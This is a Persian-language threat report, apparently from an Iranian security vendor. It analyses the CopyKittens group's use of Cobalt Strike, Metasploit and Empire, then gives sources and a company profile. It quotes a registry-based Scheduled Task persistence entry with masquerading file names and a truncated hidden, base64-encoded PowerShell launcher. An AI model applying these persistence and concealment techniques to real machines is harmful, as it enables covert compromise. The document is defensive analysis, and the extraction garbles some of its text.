های اجرای اسکریپت توانایی از توانمی Cobalt Strikeای هسایر قابلیتاز جمله کند. استفاده می افزارنرم از این DNSپودمان 
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PowerShell ،پودمان کدهای مخرب و ارتباطات نقطه به نقطه از طریق اجرای، ثبت کلیدهای زده شده، تصویربرداری، دریافت فایل 
SMB نام برد. 

 ماندگاری

 .کنندمیثبت  محضرخانهمستقیماً در را  Schedule Taskبر روی ماشین یک فرمان  Cobalt Strikeمهاجمان برای ماندگار کردن 

اجرا ها اسکریپتفراخوانی شده و  powershell.exe د که از طریق آن پروسهکنرا ایجاد می PowerShell اجراکنندهبدافزار یک 
 شود:کپی می %windir%در مسیر با یکی از اسامی زیر  این اجراکننده. شوندمی

 svchost.exe – های اصلی ز فایلهمنام با یکی اWindows فایل اصلی  محل که البتهwindir%\System32% باشدیم. 
 csrss.exe – های اصلی ز فایلهمنام با یکی اWindows فایل اصلی  محل که البتهwindir%\System32% باشدیم. 
 notpad.exe –  نویسهe .به عمد از آن حذف شده است 
 conhost.exe – های اصلی ز فایلهمنام با یکی اWindows فایل اصلی  محل که البتهwindir%\System32% باشدیم. 

 شوند:در مسیر زیر در محضرخانه تعریف می Schedule Taskفرامین 

 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows 
NT\CurrentVersion\Schedule\TaskCache\Tasks 

 های زیر استفاده شده است:از مشخصه رمانفدر این 

"Path"="\\Microsoft\\Windows\\Media Center\\ConfigureLocalTimeService" 
"Description"="Media Center Time Update From Computer Local Time." 
"Actions"=hex:01,00,66,66,00,00,00,00,2c,00,00,00,43,00,3a,00,5c,00,57,00,69,\ 
00,6e,00,64,00,6f,00,77,00,73,00,5c,00,73,00,76,00,63,00,68,00,6f,00,73,00,\ 
74,00,2e,00,65,00,78,00,65,00,7e,31,00,00,2d,00,6e,00,6f,00,70,00,20,00,2d,\ 
00,77,00,20,00,68,00,69,00,64,00,64,00,65,00,6e,00,20,00,2d,00,65,00,6e,00,\ 
63,00,6f,00,64,00,65,00,64,00,63,00,6f,00,6d,00,6d,00,61,00,6e,00,64,00,20,\ 
00,4a,00,41,00,42,00,7a,00,41,00,44,00,30,00,41,00,54,00,67,00,42,00,6c,00,\ 
[…] 
 

 شود:به خط زیر تبدیل می Actionsدر مشخصه  10شانزدهیشانزدهکد 

C:\Windows\svchost.exe -nop -w hidden -encodedcommand JABzAD0ATgBl[…] 

 است. Base64در قالب  Cobalt Strikeاجراکننده یک  فوقفرمان 

 شود.نمایش داده نمی Windows Scheduled Task Viewerبوده و در پنجره  Name ویژگیفرمان فاقد 

                                                           
10Hexdecimal  
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Metasploit 

فاده ته شده از راه دور استجو در برابر یک ماشین هدف قرار گرفاز آن برای توسعه و اجرای کد بهرهکه رایگان و کدباز است  ایمجموعه
ها یا ای از اسکریپتاجرای مجموعه مهاجم را قادر بهکد مخرب است که  400جو و بیش از بهره 1600حاوی  مجموعهشود. این می

مرور،  و VNCکاربران را قادر به کنترل صفحه دستگاه با استفاده از نیز  Meterpreterکند. بر روی دستگاه قربانی می از راه دورفرامین 
 های دفاعی ضدویروسقادر به عبور از سد سیستممهاجم را کدهای مخرب با بکارگیری پویای . همچنین کندها میفایل دریافتارسال و 

  کند.می

Empire 

 Empireاند. جویی است استفاده کردهپس از بهره اجرای عملیاتکه ابزاری رایگان و کدباز برای  Empireدر شرایط مختلف مهاجمان از 
د سمهاجمان را قادر به اجرای از راه دور کد و عبور از  شده امنارتباطات رمزگذاری با فراهم نمودن یک معماری منعطف و بکارگیری 

 کند.محصولات امنیتی می
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 منابع

 http://www.clearskysec.com/wp-
content/uploads/2017/07/Operation_Wilted
_Tulip.pdf 

 http://www.clearskysec.com/report-the-
copykittens-are-targeting-israelis/ 

 http://www.clearskysec.com/copykitten-
jpost/ 

 https://s3-eu-west-
1.amazonaws.com/minervaresearchpublic/
CopyKittens/CopyKittens.pdf 

 http://blog.trendmicro.com/copykittens-
exposed-clearsky-trend-micro/ 

 https://github.com/sqlmapproject/sqlmap 
 https://msdn.microsoft.com/en-

us/library/windows/desktop/ms685138(v=v
s.85).aspx 

 http://help.madshi.net/madExcept.htm 
 https://www.bsi.bund.de/DE/Presse/Presse

mitteilungen/Presse2017/Cyber-
Angriff_auf_den_Bundestag_Stellungnahme_
29032017.html
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 ...ر اتاق خبر شبکه گستر بخوانیدد
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 تأسیس گردید 1370شركت مهندسی شبـكه گستر در سال 

افزارهای ركت ایـرانـی است كـه در زمینه نرماولیـن شـ و

ه ضـدویـروس فعـالیت تخصصی و متمـرکـزی را آغـاز كـرد

 . در ابتـدا، همكـاری مشتـركی بیـن شركت مهندسی شبـكه گستـر و شركت انگلیسیاست

S & S International  تولیدكننده ضدویروس مشهور(Toolkit آغاز گردید. در مدت كوتاهی، با )

در ایران، بـه تـدریج  S & S Internationalعنوان نماینده رسمی و انحصاری  عالیت شبكه گستر بهف

 ترین ضدویروس در ایران تبدیل شد.به محبوب Dr Solomon’s Toolkitضدویروس  

، شركت 1377در سـال  McAfeeتوسط شرکت   S & S Internationalپس از خرید شرکت 

افزارهای ضدویروس المللی فعالیت خود را بر روی نرمگر نمایندگان بینگستر نیز مانند دی شبكه

McAfee ـعنوان فروشنده مج ز شبكه گستر بهـنی اکنونه داد. ـادام( ازAuthorized Reseller )

 نماید.ایران اقدام می در منطقه خاورمیانه، به ارائه محصولات و خدمات در

، Astaroر موفق به کسب نمایندگی رسمی شرکت آلمانی شبکه گست سیشـرکت مهند 1384در سـال 

( Unified Threat Management” )مـدیریت یکپـارچـه تهـدیـدات“ تولاـسـازنـده محص

 1390، در سال Astaroگردید. به دنبال رشد چشمگیر و موفقیت جهانی محصولات امنیتی شرکت 

نمود. به دنبال این نقل و انتقال، شرکت انگلیس، اقدام به خرید این شرکت آلمانی  Sophosشرکت 

داده و خود را در این زمینه ادامه فعالیت ، Sophosشرکت  ا همکاری بامهندسی شبکه گستر ب

 نماید.در ایران عرضه می Sophosسابق را تحت نام  Astaroاکنون محصولات 

عنوان  را به Bitdefenderشرکت مهندسی شبکه گستر عرضه محصولات ضدویروس  1391از سال 

عرضه محصولات ضدویروس ( رسمی در ایران آغاز کرد. Distributorکننده )نماینده و توزیع

Bitdefender  در کنار محصولات امنیتیMcAfee پاسخی به شرایط و نیازهای متفاوت کاربران و ،

تر، تر و محصولی مقرون به صرفهتر، مدیریت آساناست. ضد ویروس چابکبوده مدیران شبکه 

، Bitdefenderبا عرضه محصولات ضدویروس  که کاربران و مدیران شبکه بوداز برخی  انتظارات

 شبکه گستر به نیازهای این بخش از بازار پاسخ داد.

و  ینداز اراه و نصب یهاپروژه نیاز بزرگتر یبرخ یشرکت مهندسی شبکه گستر افتخار دارد که مجر 

 در کشور بوده است. امنیت شبکهمحصولات  یبانیو پشت یار نگهد قراردادهای نیترمدت یطولان

دهی به هزاران شرکت و سازمان که صدها هزار کاربر را در کشور شامل این شرکت علاوه بر خدمات

 باشد.شوند، دارای شبکه نمایندگی فروش و پشتیبانی در سراسر کشور نیز میمی
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